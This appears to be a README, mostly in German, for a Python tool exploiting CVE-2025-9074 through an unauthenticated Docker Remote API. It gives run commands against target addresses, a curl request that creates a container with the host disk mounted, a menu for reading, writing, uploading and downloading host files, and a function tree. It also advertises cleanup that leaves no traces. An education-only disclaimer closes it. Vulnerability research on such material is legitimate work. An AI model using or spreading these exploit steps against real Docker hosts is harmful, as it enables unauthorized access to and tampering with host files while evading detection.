
一个功能强大的 Docker 远程 API 漏洞利用工具,用于 CVE-2025-9074 漏洞的安全研究和测试。
Ein leistungsstarkes Tool zur Ausnutzung der Docker Remote API für die Sicherheitsforschung und das Testen der Schwachstelle CVE-2025-9074.
✅ Vollautomatisches Container-Lebenszyklus-Management: Automatische Erstellung temporärer Container, automatische Bereinigung nach Abschluss des Vorgangs, keine Spuren hinterlassen
✅ Intelligente Pfadverarbeitung: Automatische Erkennung und Konvertierung von Windows-Pfaden in das Docker-Mount-Format
✅ Vollständig automatisierter Arbeitsablauf: Keine manuelle Eingabe komplexer Befehle erforderlich, menügesteuerte Interaktion, Dateivorgänge mit einem Klick
✅ Plattformübergreifend: Perfekte Unterstützung für Windows- und Linux-Systeme
Container-Operationen
Image-Verwaltung
Dateioperationen auf dem Host
CVE-2025-9074 ist eine Sicherheitslücke in der Docker Remote API. Ein Angreifer kann durch nicht autorisierten Zugriff auf die Docker API Folgendes tun:
Installieren Sie alle Abhängigkeiten mit der requirements.txt:
pip install -r requirements.txt
Oder manuelle Installation:
pip install requests docker websocket-client
Führen Sie das Skript direkt mit der Standard-Docker-API-Adresse aus:
python CVE-2025-9074-docker-exploit.py
python CVE-2025-9074-docker-exploit.py -u http://192.168.1.100:2375
python CVE-2025-9074-docker-exploit.py [Optionen]
Optionen:
-u, --url URL Docker-API-Adresse (Standard: http://192.168.65.7:2375)
1. Datei auf den Host hochladen
Bitte geben Sie den lokalen Dateipfad ein: /path/to/local/file.txt
Bitte geben Sie das Zielverzeichnis auf dem Host ein: D:/temp
Bitte geben Sie den Ziel-Dateinamen ein (leer lassen für Originalnamen):
2. Datei vom Host herunterladen
Bitte geben Sie den Dateipfad auf dem Host ein: D:/temp/file.txt
Bitte geben Sie den lokalen Speicherpfad ein: /tmp
3. Inhalt einer Datei auf dem Host lesen
Bitte geben Sie den Dateipfad auf dem Host ein: D:/temp/file.txt
4. Datei auf dem Host schreiben
Bitte geben Sie das Zielverzeichnis auf dem Host ein: D:/temp
Bitte geben Sie den Dateiinhalt ein: Hello, World!
Dieses Tool verarbeitet automatisch die Pfadzuordnung von Windows Docker Desktop:
| Windows-Pfad |
|---|
Unterstützte Eingabeformate:
D:\ oder D:/D:\temp oder D:/temp"D:\file.txt" (mit Anführungszeichen)'D:/file.txt' (mit Anführungszeichen)⚠️ Wichtiger Hinweis:
Erstellen eines Containers über die Docker API und Einbinden der Host-Festplatte:
curl -X POST "http://<target>:2375/containers/create" \
-H "Content-Type: application/json" \
-d '{
"Image": "python:3.11.7",
"Cmd": ["sleep", "999d"],
"HostConfig": {
"Binds": ["/mnt/host/d:/tmp"]
},
"Tty": true
}'
Lesen und Schreiben von Host-Dateien durch Ausführen von Befehlen im Container:
# Datei schreiben
echo "content" > /tmp/file.txt
# Datei lesen
cat /tmp/file.txt
pip install docker websocket-clientpython CVE-2025-9074-docker-exploit.py
CVE-2025-9074-docker-exploit.py
├── Container-Verwaltungsfunktionen
│ ├── get_containers()
│ ├── display_containers()
│ ├── create_container()
│ ├── stop_container()
│ └── delete_container()
├── Image-Verwaltungsfunktionen
│ ├── get_images()
│ ├── display_images()
│ ├── pull_image()
│ └── remove_image()
├── Host-Dateioperationsfunktionen
│ ├── upload_file_to_host()
│ ├── download_file_from_host()
│ ├── read_file_from_host()
│ └── write_file_to_host()
└── Hilfsfunktionen
├── normalize_host_path()
├── create_container_with_mount()
├── start_container()
└── stop_and_remove_container()
Issue- und Pull-Request-Einreichungen sind willkommen!
Dieses Projekt dient ausschließlich Bildungs- und Sicherheitsforschungszwecken.
Dieses Tool ist nur für autorisierte Sicherheitstests und Bildungszwecke bestimmt. Der Benutzer trägt die alleinige Verantwortung und das Risiko bei der Nutzung dieses Tools. Der Autor übernimmt keine Haftung für Missbrauch oder unbefugte Nutzung dieses Tools.
| Docker-Mount-Pfad |
|---|
D:\ | /mnt/host/d |
D:\temp | /mnt/host/d/temp |
C:\Windows | /mnt/host/c/Windows |
C:\Users\test | /mnt/host/c/Users/test |